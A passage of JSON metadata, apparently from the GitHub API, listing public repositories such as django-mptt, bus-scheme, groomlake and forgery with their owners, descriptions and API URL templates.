monitor","fork":true,"url":"https://api.github.com/repos/kevinclark/god","forks_url":"https://api.github.com/repos/kevinclark/god/forks","keys_url":"https://api.github.com/repos/kevinclark/god/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kevinclark/god/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kevinclark/god/teams","hooks_url":"https://api.github.com/repos/kevinclark/god/hooks","issue_events_url":"https://api.github.com/repos/kevinclark/god/issues/events{/number}","events_url":"https://api.github.com/repos/kevinclark/god/events","assignees_url":"https://api.github.com/repos/kevinclark/god/assignees{/user}","branches_url":"https://api.github.com/repos/kevinclark/god/branches{/branch}","tags_url":"https://api.github.com/repos/kevinclark/god/tags","blobs_url":"https://api.github.com/repos/kevinclark/god/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kevinclark/god/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kevinclark/god/git/refs{/sha}","trees_url":"https://api.github.com/repos/kevinclark/god/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kevinclark/god/statuses/{sha}","languages_url":"https://api.github.com/repos/kevinclark/god/languages","stargazers_url":"https://api.github.com/repos/kevinclark/god/stargazers","contributors_url":"https://api.github.com/repos/kevinclark/god/contributors","subscribers_url":"https://api.github.com/repos/kevinclark/god/subscribers","subscription_url":"https://api.github.com/repos/kevinclark/god/subscription","commits_url":"https://api.github.com/repos/kevinclark/god/commits{/sha}","git_commits_url":"https://api.github.com/repos/kevinclark/god/git/commits{/sha}","comments_url":"https://api.github.com/repos/kevinclark/god/comments{/number}","issue_comment_url":"https://api.github.com/repos/kevinclark/god/issues/comments/{number}","contents_url":"https://api.github.com/repos/kevinclark/god/contents/{+path}","compare_url":"https://api.github.com/repos/kevinclark/god/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kevinclark/god/merges","archive_url":"https://api.github.com/repos/kevinclark/god/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kevinclark/god/downloads","issues_url":"https://api.github.com/repos/kevinclark/god/issues{/number}","pulls_url":"https://api.github.com/repos/kevinclark/god/pulls{/number}","milestones_url":"https://api.github.com/repos/kevinclark/god/milestones{/number}","notifications_url":"https://api.github.com/repos/kevinclark/god/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kevinclark/god/labels{/name}"},{"id":307,"name":"blerb-core","full_name":"hornbeck/blerb-core","owner":{"login":"hornbeck","id":49,"avatar_url":"https://2.gravatar.com/avatar/47093444301bbde90d0aef5fa5c3ac86?d=https%3A%2F%2Fidenticons.github.com%2Ff457c545a9ded88f18ecee47145a72c0.png","gravatar_id":"47093444301bbde90d0aef5fa5c3ac86","url":"https://api.github.com/users/hornbeck","html_url":"https://github.com/hornbeck","followers_url":"https://api.github.com/users/hornbeck/followers","following_url":"https://api.github.com/users/hornbeck/following{/other_user}","gists_url":"https://api.github.com/users/hornbeck/gists{/gist_id}","starred_url":"https://api.github.com/users/hornbeck/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hornbeck/subscriptions","organizations_url":"https://api.github.com/users/hornbeck/orgs","repos_url":"https://api.github.com/users/hornbeck/repos","events_url":"https://api.github.com/users/hornbeck/events{/privacy}","received_events_url":"https://api.github.com/users/hornbeck/received_events","type":"User"},"private":false,"html_url":"https://github.com/hornbeck/blerb-core","description":"blerb running on merb-core","fork":false,"url":"https://api.github.com/repos/hornbeck/blerb-core","forks_url":"https://api.github.com/repos/hornbeck/blerb-core/forks","keys_url":"https://api.github.com/repos/hornbeck/blerb-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/hornbeck/blerb-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/hornbeck/blerb-core/teams","hooks_url":"https://api.github.com/repos/hornbeck/blerb-core/hooks","issue_events_url":"https://api.github.com/repos/hornbeck/blerb-core/issues/events{/number}","events_url":"https://api.github.com/repos/hornbeck/blerb-core/events","assignees_url":"https://api.github.com/repos/hornbeck/blerb-core/assignees{/user}","branches_url":"https://api.github.com/repos/hornbeck/blerb-core/branches{/branch}","tags_url":"https://api.github.com/repos/hornbeck/blerb-core/tags","blobs_url":"https://api.github.com/repos/hornbeck/blerb-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/hornbeck/blerb-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/hornbeck/blerb-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/hornbeck/blerb-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/hornbeck/blerb-core/statuses/{sha}","languages_url":"https://api.github.com/repos/hornbeck/blerb-core/languages","stargazers_url":"https://api.github.com/repos/hornbeck/blerb-core/stargazers","contributors_url":"https://api.github.com/repos/hornbeck/blerb-core/contributors","subscribers_url":"https://api.github.com/repos/hornbeck/blerb-core/subscribers","subscription_url":"https://api.github.com/repos/hornbeck/blerb-core/subscription","commits_url":"https://api.github.com/repos/hornbeck/blerb-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/hornbeck/blerb-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/hornbeck/blerb-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/hornbeck/blerb-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/hornbeck/blerb-core/contents/{+path}","compare_url":"https://api.github.com/repos/hornbeck/blerb-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/hornbeck/blerb-core/merges","archive_url":"https://api.github.com/repos/hornbeck/blerb-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/hornbeck/blerb-core/downloads","issues_url":"https://api.github.com/repos/hornbeck/blerb-core/issues{/number}","pulls_url":"https://api.github.com/repos/hornbeck/blerb-core/pulls{/number}","milestones_url":"https://api.github.com/repos/hornbeck/blerb-core/milestones{/number}","notifications_url":"https://api.github.com/repos/hornbeck/blerb-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/hornbeck/blerb-core/labels{/name}"},{"id":312,"name":"django-mptt","full_name":"brosner/django-mptt","owner":{"login":"brosner","id":124,"avatar_url":"https://0.gravatar.com/avatar/b7472bc7aa45c70641c299e9408b78ab?d=https%3A%2F%2Fidenticons.github.com%2Fc8ffe9a587b126f152ed3d89a146b445.png","gravatar_id":"b7472bc7aa45c70641c299e9408b78ab","url":"https://api.github.com/users/brosner","html_url":"https://github.com/brosner","followers_url":"https://api.github.com/users/brosner/followers","following_url":"https://api.github.com/users/brosner/following{/other_user}","gists_url":"https://api.github.com/users/brosner/gists{/gist_id}","starred_url":"https://api.github.com/users/brosner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brosner/subscriptions","organizations_url":"https://api.github.com/users/brosner/orgs","repos_url":"https://api.github.com/users/brosner/repos","events_url":"https://api.github.com/users/brosner/events{/privacy}","received_events_url":"https://api.github.com/users/brosner/received_events","type":"User"},"private":false,"html_url":"https://github.com/brosner/django-mptt","description":"utilities for implementing a modified pre-order traversal tree in django","fork":true,"url":"https://api.github.com/repos/brosner/django-mptt","forks_url":"https://api.github.com/repos/brosner/django-mptt/forks","keys_url":"https://api.github.com/repos/brosner/django-mptt/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brosner/django-mptt/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brosner/django-mptt/teams","hooks_url":"https://api.github.com/repos/brosner/django-mptt/hooks","issue_events_url":"https://api.github.com/repos/brosner/django-mptt/issues/events{/number}","events_url":"https://api.github.com/repos/brosner/django-mptt/events","assignees_url":"https://api.github.com/repos/brosner/django-mptt/assignees{/user}","branches_url":"https://api.github.com/repos/brosner/django-mptt/branches{/branch}","tags_url":"https://api.github.com/repos/brosner/django-mptt/tags","blobs_url":"https://api.github.com/repos/brosner/django-mptt/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brosner/django-mptt/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brosner/django-mptt/git/refs{/sha}","trees_url":"https://api.github.com/repos/brosner/django-mptt/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brosner/django-mptt/statuses/{sha}","languages_url":"https://api.github.com/repos/brosner/django-mptt/languages","stargazers_url":"https://api.github.com/repos/brosner/django-mptt/stargazers","contributors_url":"https://api.github.com/repos/brosner/django-mptt/contributors","subscribers_url":"https://api.github.com/repos/brosner/django-mptt/subscribers","subscription_url":"https://api.github.com/repos/brosner/django-mptt/subscription","commits_url":"https://api.github.com/repos/brosner/django-mptt/commits{/sha}","git_commits_url":"https://api.github.com/repos/brosner/django-mptt/git/commits{/sha}","comments_url":"https://api.github.com/repos/brosner/django-mptt/comments{/number}","issue_comment_url":"https://api.github.com/repos/brosner/django-mptt/issues/comments/{number}","contents_url":"https://api.github.com/repos/brosner/django-mptt/contents/{+path}","compare_url":"https://api.github.com/repos/brosner/django-mptt/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brosner/django-mptt/merges","archive_url":"https://api.github.com/repos/brosner/django-mptt/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brosner/django-mptt/downloads","issues_url":"https://api.github.com/repos/brosner/django-mptt/issues{/number}","pulls_url":"https://api.github.com/repos/brosner/django-mptt/pulls{/number}","milestones_url":"https://api.github.com/repos/brosner/django-mptt/milestones{/number}","notifications_url":"https://api.github.com/repos/brosner/django-mptt/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brosner/django-mptt/labels{/name}"},{"id":314,"name":"bus-scheme","full_name":"technomancy/bus-scheme","owner":{"login":"technomancy","id":141,"avatar_url":"https://2.gravatar.com/avatar/22788ec68b2aee512f8f4c5d8ae819ae?d=https%3A%2F%2Fidenticons.github.com%2F0f28b5d49b3020afeecd95b4009adf4c.png","gravatar_id":"22788ec68b2aee512f8f4c5d8ae819ae","url":"https://api.github.com/users/technomancy","html_url":"https://github.com/technomancy","followers_url":"https://api.github.com/users/technomancy/followers","following_url":"https://api.github.com/users/technomancy/following{/other_user}","gists_url":"https://api.github.com/users/technomancy/gists{/gist_id}","starred_url":"https://api.github.com/users/technomancy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/technomancy/subscriptions","organizations_url":"https://api.github.com/users/technomancy/orgs","repos_url":"https://api.github.com/users/technomancy/repos","events_url":"https://api.github.com/users/technomancy/events{/privacy}","received_events_url":"https://api.github.com/users/technomancy/received_events","type":"User"},"private":false,"html_url":"https://github.com/technomancy/bus-scheme","description":"a Scheme written in Ruby, but implemented on the bus!","fork":false,"url":"https://api.github.com/repos/technomancy/bus-scheme","forks_url":"https://api.github.com/repos/technomancy/bus-scheme/forks","keys_url":"https://api.github.com/repos/technomancy/bus-scheme/keys{/key_id}","collaborators_url":"https://api.github.com/repos/technomancy/bus-scheme/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/technomancy/bus-scheme/teams","hooks_url":"https://api.github.com/repos/technomancy/bus-scheme/hooks","issue_events_url":"https://api.github.com/repos/technomancy/bus-scheme/issues/events{/number}","events_url":"https://api.github.com/repos/technomancy/bus-scheme/events","assignees_url":"https://api.github.com/repos/technomancy/bus-scheme/assignees{/user}","branches_url":"https://api.github.com/repos/technomancy/bus-scheme/branches{/branch}","tags_url":"https://api.github.com/repos/technomancy/bus-scheme/tags","blobs_url":"https://api.github.com/repos/technomancy/bus-scheme/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/technomancy/bus-scheme/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/technomancy/bus-scheme/git/refs{/sha}","trees_url":"https://api.github.com/repos/technomancy/bus-scheme/git/trees{/sha}","statuses_url":"https://api.github.com/repos/technomancy/bus-scheme/statuses/{sha}","languages_url":"https://api.github.com/repos/technomancy/bus-scheme/languages","stargazers_url":"https://api.github.com/repos/technomancy/bus-scheme/stargazers","contributors_url":"https://api.github.com/repos/technomancy/bus-scheme/contributors","subscribers_url":"https://api.github.com/repos/technomancy/bus-scheme/subscribers","subscription_url":"https://api.github.com/repos/technomancy/bus-scheme/subscription","commits_url":"https://api.github.com/repos/technomancy/bus-scheme/commits{/sha}","git_commits_url":"https://api.github.com/repos/technomancy/bus-scheme/git/commits{/sha}","comments_url":"https://api.github.com/repos/technomancy/bus-scheme/comments{/number}","issue_comment_url":"https://api.github.com/repos/technomancy/bus-scheme/issues/comments/{number}","contents_url":"https://api.github.com/repos/technomancy/bus-scheme/contents/{+path}","compare_url":"https://api.github.com/repos/technomancy/bus-scheme/compare/{base}...{head}","merges_url":"https://api.github.com/repos/technomancy/bus-scheme/merges","archive_url":"https://api.github.com/repos/technomancy/bus-scheme/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/technomancy/bus-scheme/downloads","issues_url":"https://api.github.com/repos/technomancy/bus-scheme/issues{/number}","pulls_url":"https://api.github.com/repos/technomancy/bus-scheme/pulls{/number}","milestones_url":"https://api.github.com/repos/technomancy/bus-scheme/milestones{/number}","notifications_url":"https://api.github.com/repos/technomancy/bus-scheme/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/technomancy/bus-scheme/labels{/name}"},{"id":319,"name":"javascript-bits","full_name":"Caged/javascript-bits","owner":{"login":"Caged","id":25,"avatar_url":"https://2.gravatar.com/avatar/97c3a8eea9b7eaa9e1e93ea3cd47399f?d=https%3A%2F%2Fidenticons.github.com%2F8e296a067a37563370ded05f5a3bf3ec.png","gravatar_id":"97c3a8eea9b7eaa9e1e93ea3cd47399f","url":"https://api.github.com/users/Caged","html_url":"https://github.com/Caged","followers_url":"https://api.github.com/users/Caged/followers","following_url":"https://api.github.com/users/Caged/following{/other_user}","gists_url":"https://api.github.com/users/Caged/gists{/gist_id}","starred_url":"https://api.github.com/users/Caged/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Caged/subscriptions","organizations_url":"https://api.github.com/users/Caged/orgs","repos_url":"https://api.github.com/users/Caged/repos","events_url":"https://api.github.com/users/Caged/events{/privacy}","received_events_url":"https://api.github.com/users/Caged/received_events","type":"User"},"private":false,"html_url":"https://github.com/Caged/javascript-bits","description":"Useful pieces of JavaScript. Some old, some new.","fork":false,"url":"https://api.github.com/repos/Caged/javascript-bits","forks_url":"https://api.github.com/repos/Caged/javascript-bits/forks","keys_url":"https://api.github.com/repos/Caged/javascript-bits/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Caged/javascript-bits/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Caged/javascript-bits/teams","hooks_url":"https://api.github.com/repos/Caged/javascript-bits/hooks","issue_events_url":"https://api.github.com/repos/Caged/javascript-bits/issues/events{/number}","events_url":"https://api.github.com/repos/Caged/javascript-bits/events","assignees_url":"https://api.github.com/repos/Caged/javascript-bits/assignees{/user}","branches_url":"https://api.github.com/repos/Caged/javascript-bits/branches{/branch}","tags_url":"https://api.github.com/repos/Caged/javascript-bits/tags","blobs_url":"https://api.github.com/repos/Caged/javascript-bits/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Caged/javascript-bits/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Caged/javascript-bits/git/refs{/sha}","trees_url":"https://api.github.com/repos/Caged/javascript-bits/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Caged/javascript-bits/statuses/{sha}","languages_url":"https://api.github.com/repos/Caged/javascript-bits/languages","stargazers_url":"https://api.github.com/repos/Caged/javascript-bits/stargazers","contributors_url":"https://api.github.com/repos/Caged/javascript-bits/contributors","subscribers_url":"https://api.github.com/repos/Caged/javascript-bits/subscribers","subscription_url":"https://api.github.com/repos/Caged/javascript-bits/subscription","commits_url":"https://api.github.com/repos/Caged/javascript-bits/commits{/sha}","git_commits_url":"https://api.github.com/repos/Caged/javascript-bits/git/commits{/sha}","comments_url":"https://api.github.com/repos/Caged/javascript-bits/comments{/number}","issue_comment_url":"https://api.github.com/repos/Caged/javascript-bits/issues/comments/{number}","contents_url":"https://api.github.com/repos/Caged/javascript-bits/contents/{+path}","compare_url":"https://api.github.com/repos/Caged/javascript-bits/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Caged/javascript-bits/merges","archive_url":"https://api.github.com/repos/Caged/javascript-bits/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Caged/javascript-bits/downloads","issues_url":"https://api.github.com/repos/Caged/javascript-bits/issues{/number}","pulls_url":"https://api.github.com/repos/Caged/javascript-bits/pulls{/number}","milestones_url":"https://api.github.com/repos/Caged/javascript-bits/milestones{/number}","notifications_url":"https://api.github.com/repos/Caged/javascript-bits/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Caged/javascript-bits/labels{/name}"},{"id":320,"name":"groomlake","full_name":"Caged/groomlake","owner":{"login":"Caged","id":25,"avatar_url":"https://2.gravatar.com/avatar/97c3a8eea9b7eaa9e1e93ea3cd47399f?d=https%3A%2F%2Fidenticons.github.com%2F8e296a067a37563370ded05f5a3bf3ec.png","gravatar_id":"97c3a8eea9b7eaa9e1e93ea3cd47399f","url":"https://api.github.com/users/Caged","html_url":"https://github.com/Caged","followers_url":"https://api.github.com/users/Caged/followers","following_url":"https://api.github.com/users/Caged/following{/other_user}","gists_url":"https://api.github.com/users/Caged/gists{/gist_id}","starred_url":"https://api.github.com/users/Caged/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Caged/subscriptions","organizations_url":"https://api.github.com/users/Caged/orgs","repos_url":"https://api.github.com/users/Caged/repos","events_url":"https://api.github.com/users/Caged/events{/privacy}","received_events_url":"https://api.github.com/users/Caged/received_events","type":"User"},"private":false,"html_url":"https://github.com/Caged/groomlake","description":"Ruby parsers for some Adobe file formats.","fork":false,"url":"https://api.github.com/repos/Caged/groomlake","forks_url":"https://api.github.com/repos/Caged/groomlake/forks","keys_url":"https://api.github.com/repos/Caged/groomlake/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Caged/groomlake/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Caged/groomlake/teams","hooks_url":"https://api.github.com/repos/Caged/groomlake/hooks","issue_events_url":"https://api.github.com/repos/Caged/groomlake/issues/events{/number}","events_url":"https://api.github.com/repos/Caged/groomlake/events","assignees_url":"https://api.github.com/repos/Caged/groomlake/assignees{/user}","branches_url":"https://api.github.com/repos/Caged/groomlake/branches{/branch}","tags_url":"https://api.github.com/repos/Caged/groomlake/tags","blobs_url":"https://api.github.com/repos/Caged/groomlake/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Caged/groomlake/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Caged/groomlake/git/refs{/sha}","trees_url":"https://api.github.com/repos/Caged/groomlake/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Caged/groomlake/statuses/{sha}","languages_url":"https://api.github.com/repos/Caged/groomlake/languages","stargazers_url":"https://api.github.com/repos/Caged/groomlake/stargazers","contributors_url":"https://api.github.com/repos/Caged/groomlake/contributors","subscribers_url":"https://api.github.com/repos/Caged/groomlake/subscribers","subscription_url":"https://api.github.com/repos/Caged/groomlake/subscription","commits_url":"https://api.github.com/repos/Caged/groomlake/commits{/sha}","git_commits_url":"https://api.github.com/repos/Caged/groomlake/git/commits{/sha}","comments_url":"https://api.github.com/repos/Caged/groomlake/comments{/number}","issue_comment_url":"https://api.github.com/repos/Caged/groomlake/issues/comments/{number}","contents_url":"https://api.github.com/repos/Caged/groomlake/contents/{+path}","compare_url":"https://api.github.com/repos/Caged/groomlake/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Caged/groomlake/merges","archive_url":"https://api.github.com/repos/Caged/groomlake/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Caged/groomlake/downloads","issues_url":"https://api.github.com/repos/Caged/groomlake/issues{/number}","pulls_url":"https://api.github.com/repos/Caged/groomlake/pulls{/number}","milestones_url":"https://api.github.com/repos/Caged/groomlake/milestones{/number}","notifications_url":"https://api.github.com/repos/Caged/groomlake/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Caged/groomlake/labels{/name}"},{"id":322,"name":"forgery","full_name":"sevenwire/forgery","owner":{"login":"sevenwire","id":150,"avatar_url":"https://1.gravatar.com/avatar/2d699571a445b9a9205779628fe9a818?d=https%3A%2F%2Fidenticons.github.com%2F7ef605fc8dba5425d6965fbd4c8fbe1f.png","gravatar_id":"2d699571a445b9a9205779628fe9a818","url":"https://api.github.com/users/sevenwire","html_url":"https://github.com/sevenwire","followers_url":"https://api.github.com/users/sevenwire/followers","following_url":"https://api.github.com/users/sevenwire/following{/other_user}","gists_url":"https://api.github.com/users/sevenwire/gists{/gist_id}","starred_url":"https://api.github.com/users/sevenwire/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sevenwire/subscriptions","organizations_url":"https://api.github.com/users/sevenwire/orgs","repos_url":"https://api.github.com/users/sevenwire/repos","events_url":"https://api.github.com/users/sevenwire/events{/privacy}","received_events_url":"https://api.github.com/users/sevenwire/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/sevenwire/forgery","description":"Easy and customizable generation of forged data.","fork":false,"url":"https://api.github.com/repos/sevenwire/forgery","forks_url":"https://api.github.com/repos/sevenwire/forgery/forks","keys_url":"https://api.github.com/repos/sevenwire/forgery/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sevenwire/forgery/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sevenwire/forgery/teams","hooks_url":"https://api.github.com/repos/sevenwire/forgery/hooks","issue_events_url":"https://api.github.com/repos/sevenwire/forgery/issues/events{/number}","events_url":"https://api.github.com/repos/sevenwire/forgery/events","assignees_url":"https://api.github.com/repos/sevenwire/forgery/assignees{/user}","branches_url":"https://api.github.com/repos/sevenwire/forgery/branches{/branch}","tags_url":"https://api.github.com/repos/sevenwire/forgery/tags","blobs_url":"https://api.github.com/repos/sevenwire/forgery/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sevenwire/forgery/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sevenwire/forgery/git/refs{/sha}","trees_url":"https://api.github.com/repos/sevenwire/forgery/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sevenwire/forgery/statuses/{sha}","languages_url":"https://api.github.com/repos/sevenwire/forgery/languages","stargazers_url":"https://api.github.com/repos/sevenwire/forgery/stargazers","contributors_url":"https://api.github.com/repos/sevenwire/forgery/contributors","subscribers_url":"https://api.github.com/repos/sevenwire/forgery/subscribers","subscription_url":"https://api.github.com/repos/sevenwire/forgery/subscription","commits_url":"https://api.github.com/repos/sevenwire/forgery/commits{/sha}","git_commits_url":"https://api.github.com/repos/sevenwire/forgery/git/commits{/sha}","comments_url":"https://api.github.com/repos/sevenwire/forgery/comments{/number}","issue_comment_url":"https://api.github.com/repos/sevenwire/forgery/issues/comments/{number}","contents_url":"https://api.github.com/repos/sevenwire/forgery/contents/{+path}","compare_url":"https://api.github.com/repos/sevenwire/forgery/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sevenwire/forgery/merges","archive_url":"https://api.github.com/repos/sevenwire/forgery/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sevenwire/forgery/downloads","issues_url":"https://api.github.com/repos/sevenwire/forgery/issues{/number}","pulls_url":"https://api.github.com/repos/sevenwire/forgery/pulls{/number}","milestones_url":"https://api.github.com/repos/sevenwire/forgery/milestones{/number}","notifications_url":"https://api.github.com/repos/sevenwire/forgery/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sevenwire/forgery/labels{/name}"},{"id":324,"name":"ambitious-sphinx","full_name":"technicalpickles/ambitious-sphinx","owner":{"login":"technicalpickles","id":159,"avatar_url":"https://0.gravatar.com/avatar/1c1aabc1abed5cce37b192dd00f0f28c?d=https%3A%2F%2Fidenticons.github.com%2F140f6969d5213fd0ece03148e62e461e.png","gravatar_id":"1c1aabc1abed5cce37b192dd00f0f28c","url":"https://api.github.com/users/technicalpickles","html_url":"https://github.com/technicalpickles","followers_url":"https://api.github.com/users/technicalpickles/followers","following_url":"https://api.github.com/users/technicalpickles/following{/other_user}","gists_url":"https://api.github.com/users/technicalpickles/gists{/gist_id}","starred_url":"https://api.github.com/users/technicalpickles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/technicalpickles/subscriptions","organizations_url":"https://api.github.com/users/technicalpickles/orgs","repos_url":"https://api.github.com/users/technicalpickles/repos","events_url":"https://api.github.com/users/technicalpickles/events{/privacy}","received_events_url":"https://api.github.com/users/technicalpickles/received_events","type":"User"},"private":false,"html_url":"https://github.com/technicalpickles/ambitious-sphinx","description":"Ambition adapter for Sphinx","fork":false,"url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx","forks_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/forks","keys_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/keys{/key_id}","collaborators_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/teams","hooks_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/hooks","issue_events_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/issues/events{/number}","events_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/events","assignees_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/assignees{/user}","branches_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/branches{/branch}","tags_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/tags","blobs_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/git/refs{/sha}","trees_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/git/trees{/sha}","statuses_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/statuses/{sha}","languages_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/languages","stargazers_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/stargazers","contributors_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/contributors","subscribers_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/subscribers","subscription_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/subscription","commits_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/commits{/sha}","git_commits_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/git/commits{/sha}","comments_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/comments{/number}","issue_comment_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/issues/comments/{number}","contents_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/contents/{+path}","compare_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/compare/{base}...{head}","merges_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/merges","archive_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/downloads","issues_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/issues{/number}","pulls_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/pulls{/number}","milestones_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/milestones{/number}","notifications_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/technicalpickles/ambitious-sphinx/labels{/name}"},{"id":329,"name":"soup","full_name":"lazyatom/soup","owner":{"login":"lazyatom","id":145,"avatar_url":"https://0.gravatar.com/avatar/acd62030df551952268e84c8fff26a5b?d=https%3A%2F%2Fidenticons.github.com%2F2b24d495052a8ce66358eb576b8912c8.png","gravatar_id":"acd62030df551952268e84c8fff26a5b","url":"https://api.github.com/users/lazyatom","html_url":"https://github.com/lazyatom","followers_url":"https://api.github.com/users/lazyatom/followers","following_url":"https://api.github.com/users/lazyatom/following{/other_user}","gists_url":"https://api.github.com/users/lazyatom/gists{/gist_id}","starred_url":"https://api.github.com/users/lazyatom/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lazyatom/subscriptions","organizations_url":"https://api.github.com/users/lazyatom/orgs","repos_url":"https://api.github.com/users/lazyatom/repos","events_url":"https://api.github.com/users/lazyatom/events{/privacy}","received_events_url":"https://api.github.com/users/lazyatom/received_events","type":"User"},"private":false,"html_url":"https://github.com/lazyatom/soup","description":"I suppose it's a document database. Or a tuple store. But really, it's just data sloshing around, waiting to be used.","fork":false,"url":"https://api.github.com/repos/lazyatom/soup","forks_url":"https://api.github.com/repos/lazyatom/soup/forks","keys_url":"https://api.github.com/repos/lazyatom/soup/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lazyatom/soup/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lazyatom/soup/teams","hooks_url":"https://api.github.com/repos/lazyatom/soup/hooks","issue_events_url":"https://api.github.com/repos/lazyatom/soup/issues/events{/number}","events_url":"https://api.github.com/repos/lazyatom/soup/events","assignees_url":"https://api.github.com/repos/lazyatom/soup/assignees{/user}","branches_url":"https://api.github.com/repos/lazyatom/soup/branches{/branch}","tags_url":"https://api.github.com/repos/lazyatom/soup/tags","blobs_url":"https://api.github.com/repos/lazyatom/soup/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lazyatom/soup/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lazyatom/soup/git/refs{/sha}","trees_url":"https://api.github.com/repos/lazyatom/soup/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lazyatom/soup/statuses/{sha}","languages_url":"https://api.github.com/repos/lazyatom/soup/languages","stargazers_url":"https://api.github.com/repos/lazyatom/soup/stargazers","contributors_url":"https://api.github.com/repos/lazyatom/soup/contributors","subscribers_url":"https://api.github.com/repos/lazyatom/soup/subscribers","subscription_url":"https://api.github.com/repos/lazyatom/soup/subscription","commits_url":"https://api.github.com/repos/lazyatom/soup/commits{/sha}","git_co